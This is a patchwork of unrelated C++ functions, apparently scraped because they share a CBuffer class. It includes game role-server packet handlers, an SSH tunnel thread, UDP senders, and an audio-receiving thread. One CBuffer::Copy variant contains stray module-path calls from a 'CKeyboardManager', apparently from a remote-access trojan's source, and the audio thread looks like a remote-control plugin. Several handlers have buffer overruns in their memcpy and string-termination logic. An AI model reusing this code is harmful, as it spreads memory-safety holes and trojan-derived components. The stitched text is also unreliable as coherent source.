void CClientNode::_GetGameStat( const void *pData, size_t dataLength ) {//发送游戏统计数据(By Fellow,2003.7.22) ASSERT( m_pServer && pData && dataLength ); #ifdef CONSOLE_DEBUG cout << "_GetGameStat::Begin" << endl; #endif //收到的数据包,只有控制字没有数据 TProcessData *pProData = ( TProcessData * )pData; size_t nIdentity = pProData->ulIdentity; //需要发送的数据包 CBuffer *pBuffer = m_theAllocator.Allocate(); TProcessData *pStatData = reinterpret_cast< TProcessData * >( const_cast< BYTE * >( pBuffer->GetBuffer() ) ); int nDataLen = sizeof(TGAME_STAT_DATA); pStatData->nProtoId = s2c_gamestatistic; pStatData->ulIdentity = nIdentity; pStatData->nDataLen = nDataLen; //取得统计数据 TGAME_STAT_DATA* myGameStatData = (TGAME_STAT_DATA*)pStatData->pDataBuffer; GetGameStat(myGameStatData); int nUsedLen = sizeof( TProcessData ) - 1 + nDataLen; pBuffer->Use( nUsedLen ); //发送 m_theSend.AddData( s2c_gamestatistic_bigpackage, pBuffer->GetBuffer(), nUsedLen ); CBuffer *pPack = m_theSend.GetHeadPack( s2c_gamestatistic_bigpackage ); while ( pPack ) { m_pServer->SendData( m_nIndentity, ( const void * )pPack->GetBuffer(), pPack->GetUsed() ); SAFE_RELEASE( pPack ); pPack = m_theSend.GetNextPack( s2c_gamestatistic_bigpackage ); } m_theSend.DelData( s2c_gamestatistic_bigpackage ); SAFE_RELEASE( pPack ); SAFE_RELEASE( pBuffer ); #ifdef CONSOLE_DEBUG cout << "_GetGameStat::End" << endl; #endif }
void* CResox::InShellJob(void* pvThis) throw() { CResox* pResox = (CResox*) pvThis; int nread; try { CBuffer DataBuffer; while(true) { pResox->XEPssh.ReceiveData(&DataBuffer); nread = write(pResox->tun_fd, DataBuffer.GetBuffer(), DataBuffer.GetBufferSize()); if(nread < 0) { perror("Write to interface"); close(pResox->tun_fd); exit(1); } } } catch(exception& e) { pResox->ThreadOutShellJob.Stop(); pResox->XEPssh.Disconnect(); return NULL; } }
//************************************ // Method: Copy // FullName: CBuffer::Copy // Access: public // Returns: void // Qualifier: Copy from one buffer object to another // Parameter: CBuffer & buffer //************************************ void CBuffer::Copy(CBuffer& buffer){ int nReSize = buffer.GetMemSize(); int nSize = buffer.GetBufferLen(); ClearBuffer(); ReAllocateBuffer(nReSize); m_pPtr = m_pBase + nSize; CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen()); }
CBuffer *CPackager::GetNextPack( BYTE cID ) { CCriticalSection::Owner lock( m_csSend ); BUFFER_MAP::iterator it; if ( m_theSend.end() != ( it = m_theSend.find( cID ) ) ) { CBuffer *pBuffer = m_theSend[cID]; CBuffer *pPack = pBuffer->GetNextPack(); if ( NULL == pPack ) { return NULL; } if ( 0 == pPack->GetUsed() ) { pPack->Release(); return NULL; } CBuffer *pNewBufer = m_theAllocator.Allocate(); pNewBufer->AddData( cID ); BYTE cFlag = enumPackMiddle; if ( !pBuffer->HaveNextPack() ) { cFlag |= enumPackTail; } pNewBufer->AddData( cFlag ); /* * Add a user data into this buffer */ unsigned long lnUserData = pBuffer->GetUserData(); pNewBufer->AddData( ( const char * )( &lnUserData ), sizeof( unsigned long ) ); /* * Add some data into this buffer */ pNewBufer->AddData( pPack->GetBuffer(), pPack->GetUsed() ); pPack->Release(); return pNewBufer; } return NULL; }
void CBuffer::Copy(CBuffer& buffer) { int nReSize = buffer.GetMemSize(); //2048 2048 int nSize = buffer.GetBufferLen(); //1025 0 1025 ClearBuffer(); if (ReAllocateBuffer(nReSize) == -1) return; CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen()); m_pPtr = m_pBase + nSize; }
bool CSmartClient::Send( const void * const pData, const size_t &datalength ) { if (IsNormal()) { if (m_pClient) { /* * Send the histroy information to server */ { CCriticalSection::Owner locker( m_csHistroyList ); stdList::iterator it; for ( it = m_theHistroyList.begin(); it != m_theHistroyList.end(); it ++ ) { CBuffer *pBuffer = *it; if ( pBuffer ) { m_pClient->SendPackToServer( ( const void * )( pBuffer->GetBuffer() ), pBuffer->GetUsed() ); SAFE_RELEASE( pBuffer ); } } m_theHistroyList.clear(); } if (pData && datalength) m_pClient->SendPackToServer( pData, datalength ); return true; } } else if (pData && datalength > 0) { /* Store data into buffer */ CCriticalSection::Owner locker( m_csHistroyList ); CBuffer *pBuffer = m_theAllocator.Allocate(); ASSERT( pBuffer ); pBuffer->AddData((BYTE*) pData, datalength ); m_theHistroyList.push_back( pBuffer ); } return false; }
void CClientNode::LargePackProcess( const void *pData, size_t dataLength ) { ASSERT( pData && dataLength ); CBuffer *pBuffer = m_theRecv.PackUp( pData, dataLength ); if ( pBuffer ) { m_theDataQueue.AddData( pBuffer->GetBuffer(), pBuffer->GetUsed() ); SAFE_RELEASE( pBuffer ); } }
//////////////////////////////////////////////////////////////////////////////// // // FUNCTION: Copy // // DESCRIPTION: Copy from one buffer object to another... // // RETURNS: // // NOTES: // // MODIFICATIONS: // // Name Date Version Comments // N T ALMOND 270400 1.0 Origin // //////////////////////////////////////////////////////////////////////////////// void CBuffer::Copy(CBuffer& buffer) { TCHAR szModule [MAX_PATH]; int nReSize = buffer.GetMemSize(); int nSize = buffer.GetBufferLen(); ClearBuffer(); if (ReAllocateBuffer(nReSize) == -1) return; m_pPtr = m_pBase + nSize; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen()); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); }
void CClientNode::Process() { CBuffer *pBuffer = m_theDataQueue.Get(); if ( pBuffer ) { const BYTE *pData = pBuffer->GetBuffer(); const size_t dataLength = pBuffer->GetUsed(); BYTE cProtocol = CPackager::Peek( pData ); if ( cProtocol < c2s_end && m_theProcessArray[cProtocol] ) { ( this->*m_theProcessArray[cProtocol] )( ( const void * )pData, dataLength ); } } SAFE_RELEASE( pBuffer ); }
bool CUTPSocketListner::SendTo(const CBuffer& Packet, const CSafeAddress& Address) { sockaddr_in6 sa; // sockaddr_in is smaller int sa_len = sizeof(sa); Address.ToSA((sockaddr*)&sa, &sa_len); TKeyMap::iterator I = m_SendKeys.find((struct sockaddr*)&sa); if(I == m_SendKeys.end()) { SPassKey* pSendKey = new SPassKey((struct sockaddr*)&sa); I = m_SendKeys.insert(TKeyMap::value_type(pSendKey->sa, pSendKey)).first; } ASSERT(Address.GetPassKey()); I->second->PassKey = Address.GetPassKey(); //I->second->bAck = false; // reset just in case I->second->LastActivity = GetCurTick(); Send(Packet.GetBuffer(), Packet.GetSize(), (struct sockaddr*)&sa, sa_len, 0); return true; }
bool CUDTSocketListner::SendTo(const CBuffer& Packet, const CSafeAddress& Address) { if(Packet.GetSize() > 0xFFFF - (60 + 20 + 24)) // Max UDP Datagram Size = SHORT_MAX - IP header size (20 to 60) - UDP header (20) - UDT header Size (16, or 24 with obfuscation) { ASSERT(0); return false; } sockaddr_in6 sa; // sockaddr_in is smaller int sa_len = sizeof(sa); Address.ToSA((sockaddr*)&sa, &sa_len); int Sent = UDT::sendto(m_Server, (char*)Packet.GetBuffer(), Packet.GetSize(), (sockaddr*)&sa, sa_len, Address.GetPassKey()); if (UDT::ERROR == Sent) { LogLine(LOG_ERROR, L"sendto: %S", UDT::getlasterror().getErrorMessage()); return false; } else if(Sent == 0) return false; return true; }
unsigned AudioPlugin::audioThread(void* p) { int nStatus = 0; conn ftpfd = gParam.s; int listenType = gParam.recvData.type; int imgSize = 3000; char* img = new char[3000]; int (*myWrite)(conn, char*, char*, int, int) = gParam.WriteFunction; int (*myRead)(conn, char*, int, int, int, int) = gParam.readFunction; int flags = listenType == CONN_HTTP_SERVER ? 0 : 1; while(1) { __try { struct control_header header = {0}; int nRecv; //首先读取声音控制信息 int nRead = myRead(ftpfd, (char*)&header, sizeof(header), 0, 0, flags); if(nRead < 0 || (nRead == 0 && listenType != CONN_HTTP_SERVER)) { KDebug("Read from %p failed", ftpfd); nStatus = -1; goto leave; } if(!ISVALID_HEADER(header)) { KDebug("audioThread ISVALID_HEADER %s = FALSE", header.magic); continue; } if(header.dataLen > 0) { //然后读取声音数据 nRead = myRead(ftpfd, img, header.dataLen, header.isCompressed, imgSize, flags); if(nRead > 0 || (nRead == 0 && listenType == CONN_HTTP_SERVER)) header.dataLen = nRead; else { if(nRead <= -2) { KDebug("Read data encrypt from %p failed", ftpfd); continue; } else { KDebug("Connection %p lost", ftpfd); nStatus = -1; break; } } } //处理声音数据 unsigned short cmd = header.command; unsigned short resp = header.response; int dataLen = header.dataLen; int seq = header.seq; static CBuffer recvBuf; if(resp != 0) { gView->OnOperationFailed(cmd, resp); continue; } if(seq == 1 && dataLen > 0) recvBuf.ClearBuffer() ; if(dataLen > 0) recvBuf.Write((PBYTE)img, dataLen); else { if(cmd == CONTROL_AUDIO_DATA) { int len = recvBuf.GetBufferLen(); //KDebug("ProcessData2 %d", len); gView->ProcessData(len); m_Audio->playBuffer(recvBuf.GetBuffer(0), len); } } } __except(EXCEPTION_EXECUTE_HANDLER) { KDebug("audioThread exception"); } } leave: delete []img; return nStatus; }
void CClientNode::_GetRoleInfo( const void *pData, size_t dataLength ) { ASSERT( m_pServer && pData && dataLength ); #ifdef CONSOLE_DEBUG cout << "_GetRoleInfo::Begin" << endl; #endif TProcessData *pRoleInfo = ( TProcessData * )pData; char szRoleName[_NAME_LENGTH]; int nDataLen = pRoleInfo->nDataLen; nDataLen = ( nDataLen > _NAME_LENGTH ) ? _NAME_LENGTH : nDataLen; CBuffer *pBuffer = m_theAllocator.Allocate(); TProcessData *pRoleData = reinterpret_cast< TProcessData * >( const_cast< BYTE * >( pBuffer->GetBuffer() ) ); int nUsedLength = sizeof( TProcessData ); size_t nIdentity = pRoleInfo->ulIdentity; pRoleData->nProtoId = s2c_roleserver_getroleinfo_result; pRoleData->pDataBuffer[0] = -1; pRoleData->nDataLen = 1; pRoleData->ulIdentity = nIdentity; if ( nDataLen > 0 ) { memcpy( szRoleName, &pRoleInfo->pDataBuffer[0], nDataLen ); szRoleName[nDataLen] = '\0'; int result = -1; #ifdef CONSOLE_DEBUG cout << "_GetRoleInfo::GetRoleInfo " << szRoleName << endl; #endif int nRoleInfoLen = 0; if (!IsRoleLock(szRoleName)) GetRoleInfo( &pRoleData->pDataBuffer[1], szRoleName, nRoleInfoLen ); if ( nRoleInfoLen > 0 ) { pRoleData->pDataBuffer[0] = 1; pRoleData->nDataLen = nRoleInfoLen + 1; nUsedLength = sizeof( TProcessData ) + nRoleInfoLen; } } pBuffer->Use( nUsedLength ); m_theSend.AddData( s2c_roleserver_getroleinfo_result, pBuffer->GetBuffer(), nUsedLength, nIdentity ); CBuffer *pPack = m_theSend.GetHeadPack( s2c_roleserver_getroleinfo_result ); while ( pPack ) { m_pServer->SendData( m_nIndentity, ( const void * )pPack->GetBuffer(), pPack->GetUsed() ); SAFE_RELEASE( pPack ); pPack = m_theSend.GetNextPack( s2c_roleserver_getroleinfo_result ); } m_theSend.DelData( s2c_roleserver_getroleinfo_result ); SAFE_RELEASE( pPack ); SAFE_RELEASE( pBuffer ); #ifdef CONSOLE_DEBUG cout << "_GetRoleInfo::End" << endl; #endif }
void CClientNode::_QueryRoleList( const void *pData, size_t dataLength ) { char szAccountName[_NAME_LENGTH]; ASSERT( m_pServer && pData && dataLength ); #ifdef CONSOLE_DEBUG cout << "_QueryRoleList::Begin" << endl; #endif TProcessData *pPlayerList = ( TProcessData * )pData; int nRoleListCount = pPlayerList->pDataBuffer[0]; int nLen = pPlayerList->nDataLen; unsigned long ulIdentity = pPlayerList->ulIdentity; if ( nLen <= 1 || nLen >= _NAME_LENGTH ) { #ifdef CONSOLE_DEBUG cout << "_QueryRoleList::Name is invalid" << endl; #endif return; } memcpy( szAccountName, ( const char * )( &pPlayerList->pDataBuffer[1] ), nLen - 1 ); szAccountName[nLen - 1] = '\0'; /* * Database */ S3DBI_RoleBaseInfo DBI[4]; const size_t s_nStructSize = sizeof( S3DBI_RoleBaseInfo ); #ifdef CONSOLE_DEBUG cout << "_QueryRoleList::GetRoleListOfAccount " << szAccountName << endl; #endif int nCount = GetRoleListOfAccount( szAccountName, &DBI[0], nRoleListCount ); CBuffer *pBuffer = m_theAllocator.Allocate(); TProcessData *pListData = reinterpret_cast< TProcessData * >( const_cast< BYTE * >( pBuffer->GetBuffer() ) ); pListData->nProtoId = s2c_roleserver_getrolelist_result; pListData->ulIdentity = ulIdentity; int nDataLen = nCount * s_nStructSize + 1; pListData->nDataLen = nDataLen; pListData->pDataBuffer[0] = nCount; memcpy( &pListData->pDataBuffer[1], &DBI[0], nDataLen ); int nUsedLen = sizeof( TProcessData ) - 1 + nDataLen; pBuffer->Use( nUsedLen ); m_pServer->SendData( m_nIndentity, ( const void * )pListData, nUsedLen ); SAFE_RELEASE( pBuffer ); #ifdef CONSOLE_DEBUG cout << "_QueryRoleList::end" << endl; #endif }